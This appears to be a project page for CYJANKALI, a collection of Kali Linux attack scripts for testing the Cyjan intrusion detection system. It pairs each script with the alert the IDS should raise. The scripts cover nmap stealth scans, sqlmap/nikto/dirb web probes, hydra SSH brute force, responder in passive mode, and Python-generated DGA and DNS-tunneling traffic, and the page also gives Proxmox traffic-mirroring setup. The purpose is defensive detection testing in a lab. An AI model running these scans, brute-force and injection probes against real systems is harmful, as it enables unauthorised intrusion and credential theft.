Attack the guardian, detect the attacker

CYJANKALI is the offensive test playground for the Cyjan IDS. It collects Kali Linux scripts that put your IDS deployment under realistic load — along with what the frontend should show in response. If a detection fails to trigger, you know exactly where to tune.

The wordplay is the point: cyanide (potassium cyanide, German Cyankali) is the poison the system protects against. Kali Linux is the tool we use to simulate the poison.

Lab setup

Topology

At least two VMs in an isolated subnet:

No physical switch with a SPAN port? In Proxmox/VMware put the vSwitch into promiscuous mode and attach the IDS mirror interface to the same vSwitch as the target VM's routing interface. The sniffer will then capture all bridge traffic.

Provision Kali

Grab a fresh Kali image and import it into your VM platform of choice:

→ kali.org / get-kali

Recommendation: the pre-built virtual machines (.ova / .vmx) save you a full installer run. Change the default login kali / kali immediately.

Proxmox: VM mirror via hookscript (no physical SPAN port required)

On a Proxmox host you can mirror all traffic of a target VM to a sniffer VM — without switch configuration and without putting the vSwitch into promiscuous mode. The script below registers as a Proxmox VM hook and applies a bidirectional tc mirred rule that copies every packet to the tap device of the sniffer VM.

The whole lab runs as 3 VMs on a single Proxmox host:

The tap forwards alerts to the master via mTLS-WSS. The master frontend shows them just like with a hardware SPAN port — except the entire topology lives in one host.

Prerequisite: dedicated mirror bridge

Before the hookscript can do anything, you need a Linux bridge in Proxmox dedicated to mirror traffic. The sniffer NIC of the tap VM hangs off this bridge in isolation and only sees the packets that tc mirred copies onto the bridge — no lab traffic, no ARP storms, no DHCP noise.

The bridge has no physical port and no IP. That's intentional: packets stay purely virtual on the host and only enter via the hookscript mirroring.

Via the GUI (Proxmox web UI):

  1. Datacenter → <node> → System → Network → Create → Linux Bridge
  2. Name: vmbr99 (or any free vmbrN — must match SNIFFER_BRIDGE in the hookscript)
  3. IPv4/IPv6: leave empty
  4. Bridge ports: empty (no eth/eno/enp attached)
  5. Comment: e.g. „Cyjan mirror"
  6. Create, then click Apply Configuration at the top (live, no reboot)

Or as a file edit (equivalent) — directly in /etc/network/interfaces on the Proxmox host:

cat >> /etc/network/interfaces <<'EOF'

auto vmbr99
iface vmbr99 inet manual
    bridge-ports none
    bridge-stp off
    bridge-fd 0
#Cyjan mirror bridge (no physical port, no IP)
EOF

ifreload -a    # or: ifup vmbr99

Verify:

ip -br link show vmbr99           # → vmbr99  UP  ...
bridge link show master vmbr99    # shows attached taps (empty initially)
brctl show vmbr99                 # alternative view

Wire the tap VM to the mirror bridge

The tap VM needs two NICs: one for management (pairing with the master, SSH, updates) and one on vmbr99 for pure listen-only. Both are selected in the first-boot wizard (ids-setup inside the tap VM) as management vs. mirror interface.

# Example: VM 108 = tap. net0 is management (vmbr0), net1 becomes mirror.
qm set 108 --net1 virtio,bridge=vmbr99
# Then reboot the tap VM (or replug net1) so the new tap (tap108i1)
# shows up on the bridge.
qm reboot 108

# Inside the tap VM: the new interface appears as ens19 / eth1.
# In the first-boot wizard (ids-setup) pick it as 'mirror interface',
# NOT as management.

Important: the mirror interface inside the tap VM gets no IP (the wizard sets iface eth1 inet manual + promisc mode). The sniffer container reads it directly via AF_PACKET — routing isn't needed.

Hookscript

↓ proxmox-mirror.sh

Adjust three variables at the top: TARGET_VM (the source VM you mirror), SNIFFER_VM (your tap VM ID) and SNIFFER_BRIDGE (Proxmox bridge of the tap VM's mirror NIC).

Install on the Proxmox host

Via SSH as root on the Proxmox host:

# 1. Drop the script — Proxmox looks for hookscripts under
#    /var/lib/vz/snippets/ on the local 'local' storage.
mkdir -p /var/lib/vz/snippets
cp proxmox-mirror.sh /var/lib/vz/snippets/mirror.sh
chmod +x /var/lib/vz/snippets/mirror.sh

# 2. Edit the CONFIG block — TARGET_VM/SNIFFER_VM/SNIFFER_BRIDGE
nano /var/lib/vz/snippets/mirror.sh

# 3. Bind the hookscript to the TARGET VM (VMID = the Kali / target VM)
qm set 109 --hookscript local:snippets/mirror.sh

# 4. Pre-check: tap VM must have a NIC on SNIFFER_BRIDGE
qm config 108 | grep ^net   # → expects 'bridge=vmbr99' on one NIC

# 5. Trigger: reboot target VM. The post-start hook sets up the mirror
#    automatically (and starts the tap VM if AUTO_START_SNIFFER=1).
qm reboot 109

# 6. Verify: check tc rules on the source tap
tc qdisc show dev tap109i0
tc filter show dev tap109i0 ingress
journalctl -t mirror-hook -n 50

How the mirroring actually works

Proxmox creates a tap<VMID>i<index> device for every VM NIC and attaches it to the configured bridge. The script:

  1. Adds an ingress qdisc to the source tap so packets from the VM toward the bridge get mirrored.
  2. Adds a root prio qdisc to mirror packets from the bridge toward the VM as well.
  3. Both qdiscs get a matchall filter with mirred egress mirror dev <sniffer-tap> — the kernel copies every packet onto the tap of the sniffer VM.
  4. The sniffer NIC of the tap VM sees the traffic exactly like a real SPAN port. The sniffer container (cyjan-tap-sniffer) reads via AF_PACKET and feeds the pipeline.

Works with and without the Proxmox firewall enabled — the script detects the extra fwbr/fwpr chain and finds the sniffer VM's tap regardless.

Cleanup

A regular qm shutdown/stop of the target VM removes the tc rules via the pre-stop hook automatically. To unbind the hookscript:

qm set 109 --delete hookscript
rm /var/lib/vz/snippets/mirror.sh

Test catalogue

Each category provides a script you run on the Kali box, plus the expected reaction in the Cyjan frontend. If the alert does not fire → that's an anti-pattern for a rule or ML model improvement.

Concrete lab results from a real pentest run against a Cyjan-IDS lab — with IDS response per test and every code fix that came out of it: → Lab report (phases 1–6)

1. Reconnaissance · nmap scans

Various stealth variants against the target VM. Good to verify sniffer drop_pct stays clean and the connection graph marks the Kali IP as a new node.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}

echo "[+] SYN scan (top 1000 ports)"
sudo nmap -sS -T4 "$TARGET"

echo "[+] FIN scan (stealth)"
sudo nmap -sF -T3 "$TARGET"

echo "[+] NULL scan"
sudo nmap -sN -T3 "$TARGET"

echo "[+] Xmas scan"
sudo nmap -sX -T3 "$TARGET"

echo "[+] Service and OS detection"
sudo nmap -sV -O -A "$TARGET"
Expected IDS reaction
  • Signature engine: port-scan-burst & fin-scan-stealth alerts (severity medium).
  • ML engine: anomaly score on the flow aggregate level rises; multiple short flows from the same source IP.
  • Connection graph: the Kali IP becomes a hub with many outgoing edges.

2. Web attacks · sqlmap, nikto, dirb

Classic web app probes against DVWA or your own test app. The mirror port should pick up the HTTP request traffic.

#!/usr/bin/env bash
TARGET=${1:-http://192.168.56.10}

echo "[+] nikto: misconfig + known CVEs"
nikto -h "$TARGET" -Tuning 9

echo "[+] dirb: default wordlist brute force"
dirb "$TARGET" /usr/share/dirb/wordlists/common.txt -r

echo "[+] sqlmap: injection probe against DVWA login"
sqlmap -u "$TARGET/login.php" \
       --data "username=admin&password=admin&Login=Login" \
       --batch --threads 4 --level 3
Expected IDS reaction
  • Signature engine: sql-inject-tautology, web-bruteforce-paths alerts (severity high).
  • Suricata (if active): ET-WEB-Server rule hits.
  • Alert manager: the dedup window suppresses the nikto spam wave after 300 s.

3. Brute force · hydra against SSH

Classic SSH login hammering against a lab-owned account. Tests both the signature engine (connection burst pattern) and the ML anomaly detection.

The wordlists are deliberately variables — do not blindly point rockyou.txt at a production host. Create a separate lab user with a controlled, intentionally guessable password so you can verify the hit without burning third-party accounts.

#!/usr/bin/env bash
TARGET=${1:-192.168.56.10}
USERLIST=${USERLIST:-/path/to/your-lab-userlist.txt}
PASSLIST=${PASSLIST:-/path/to/your-controlled-pwlist.txt}

echo "[+] hydra: SSH brute force against lab account"
hydra -L "$USERLIST" \
      -P "$PASSLIST" \
      -t 4 -e nsr \
      ssh://"$TARGET"
Expected IDS reaction
  • Signature engine: ssh-bruteforce alert after > 10 failed logins/min (severity high).
  • ML engine: flow inter-arrival-time entropy drops sharply, anomaly score > 0.8.

4. MITM · responder in analysis mode

Classic Windows lab attack. We use analysis mode (-A): responder observes LLMNR/NBT broadcasts and logs them but does not write anything back onto the network. That is enough for the IDS detection — the sniffer sees broadcast traffic anyway — and avoids spoofing foreign hostnames, which would be a different legal corridor.

#!/usr/bin/env bash
# Passive analysis only: responder logs LLMNR/NBT queries without
# answering them. Active spoofing (-wF) deliberately not listed.
IFACE=${1:-eth0}

sudo responder -I "$IFACE" -A
Expected IDS reaction
  • Signature engine: llmnr-broadcast-storm alert (severity medium).
  • Connection graph: a cluster of broadcast-active hosts becomes visible; the Kali box is a passive observer.

5. DNS attack despite resolver allowlist

A Cyjan IDS operator maintains the DNS resolver allowlist (Settings → System → DNS resolvers) so legitimate response flows do not scream as pseudo port scans. Only medium and low severity alerts are suppressed there. Real DNS attacks (high) must still fire — this test verifies exactly that.

Three steps: first a harmless lookup wave against the configured resolver (control, should stay silent), then a DGA simulation and a tunneling volume test (both should scream).

#!/usr/bin/env bash
# Cyjankali DNS test: shows that the DNS resolver allowlist in Cyjan IDS
# only suppresses low/medium FPs — high-severity DNS attacks (tunneling,
# DGA) still fire.
#
# Prerequisite: $RESOLVER is configured in Cyjan IDS under Settings →
# System → DNS resolvers.

RESOLVER=${1:-192.168.56.1}

echo "[1/3] Control: 200 normal lookups against the resolver"
echo "      Expectation: NO alert (medium/low dropped via allowlist)"
for i in $(seq 1 200); do
  dig +short +time=1 +tries=1 example.com @"$RESOLVER" > /dev/null
done

echo
echo "[2/3] DGA simulation: 50 random subdomains with variable IAT, single socket"
echo "      Expectation: DNS_DGA_001 (high) fires despite allowlist"
RESOLVER="$RESOLVER" python3 - <<'PY'
import os, random, socket, struct, time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 0))                       # one source port → one flow
target = (os.environ['RESOLVER'], 53)
for _ in range(50):
    qname = ''.join(random.choices('abcdefghijklmnop', k=24)) + '.test.invalid'
    txid = random.randint(0, 0xffff)
    header = struct.pack('!HHHHHH', txid, 0x0100, 1, 0, 0, 0)
    parts = qname.split('.')
    body = b''.join(bytes([len(p)]) + p.encode() for p in parts) + b'\x00'
    body += struct.pack('!HH', 1, 1)     # type A, class IN
    sock.sendto(header + body, target)
    time.sleep(random.uniform(0.05, 0.6))  # → entropy_iat > 2.5
PY

echo
echo "[3/3] Tunneling volume: 1500 queries with large QNAMES, single socket"
echo "      Expectation: DNS_TUNNEL_001 (high) fires despite allowlist"
RESOLVER="$RESOLVER" python3 - <<'PY'
import os, random, socket, struct
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 0))
target = (os.environ['RESOLVER'], 53)
for _ in range(1500):
    # 60-hex-char subdomain → ~95 byte query, 1500× > 50 KB byte_count
    sub = ''.join(random.choices('0123456789abcdef', k=60))
    qname = sub + '.exfil.test.invalid'
    txid = random.randint(0, 0xffff)
    header = struct.pack('!HHHHHH', txid, 0x0100, 1, 0, 0, 0)
    parts = qname.split('.')
    body = b''.join(bytes([len(p)]) + p.encode() for p in parts) + b'\x00'
    body += struct.pack('!HH', 1, 1)
    sock.sendto(header + body, target)
PY

echo
echo "In the Cyjan frontend (Settings → DNS resolvers with $RESOLVER configured):"
echo "  Step 1 → no new alerts (allowlist takes effect)"
echo "  Step 2 → DNS_DGA_001  (high) – fires even with allowlist"
echo "  Step 3 → DNS_TUNNEL_001 (high) – fires even with allowlist"
Expected IDS reaction
  • Step 1 (control): no alerts – the allowlist suppresses SCAN_002 / DNS_AMP_001 / DNS_NONSTANDARD_001 (all medium/low) for the configured resolver.
  • Step 2 (DGA): DNS_DGA_001 severity high – the allowlist does not apply here because policy lets high/critical through.
  • Step 3 (tunneling): DNS_TUNNEL_001 severity high – byte_count > 50 KB in a single flow, same path as step 2 (no suppress).
  • alert-manager stats log: dns_allowlisted=N counts the step-1 drops — that's how you verify server-side that suppression actually works.

If steps 2 or 3 fail to fire, check whether the DNS allowlist is accidentally blocking high severity too (bug) or whether the test queries reach the IDS sniffer at all (dual-NIC: mirror port active? single-NIC: resolver must sit in the same L2 segment as the mgmt interface).

More categories (to follow)

  • Slow DoS (slowloris, hping3 --rand-source)
  • Metasploit modules against typical lab targets
  • BloodHound + impacket suite (lateral movement)
  • BurpSuite Active Scan against DVWA

Pull requests welcome – schema per test is script / expected detection / severity.

Verification in the IDS frontend

While running the Kali scripts, watch the following spots in the Cyjan frontend (http://<mgmt-ip>/):

UI areaWhat you should see
Alert feed (live) WebSocket push of new alerts in real time, severity column correlates with the test category.
Connection graph Kali IP appears as a new hub node; nmap scans give it a high out-degree.
Threat level (header) The 15-minute score indicator moves from green → yellow → orange → red, depending on volume and severity.
PCAP download Per-alert ±60 s PCAP downloadable (once the MinIO upload completes).
ML status Anomaly score histogram grows a right tail during the test sessions.

Resources

Disclaimer

The scripts collected here are intended for authorised security testing in your own lab. Using them against systems you do not own without explicit written permission from the owner is a criminal offence under § 202c StGB (preparation of spying out and intercepting data), § 303a StGB (data alteration) and § 303b StGB (computer sabotage) in Germany. In the United States 18 U.S.C. § 1030 (CFAA) applies. Comparable laws exist in most other jurisdictions.

No warranty. The scripts are provided "as-is" for educational and detection-validation purposes — without any guarantee of function, safety, or lawful use. Anyone aiming the CYJANKALI material at production systems does so at their own risk; the maintainers expressly accept no liability for the resulting consequences.

Trademark notice: Kali Linux is a registered trademark of OffSec Services Limited. This project is not affiliated with Kali Linux, OffSec, or the Kali Linux team. The name "CYJANKALI" references the chemical poison Cyankali (potassium cyanide) — the wordplay with "Kali" is a pun, not an endorsement claim.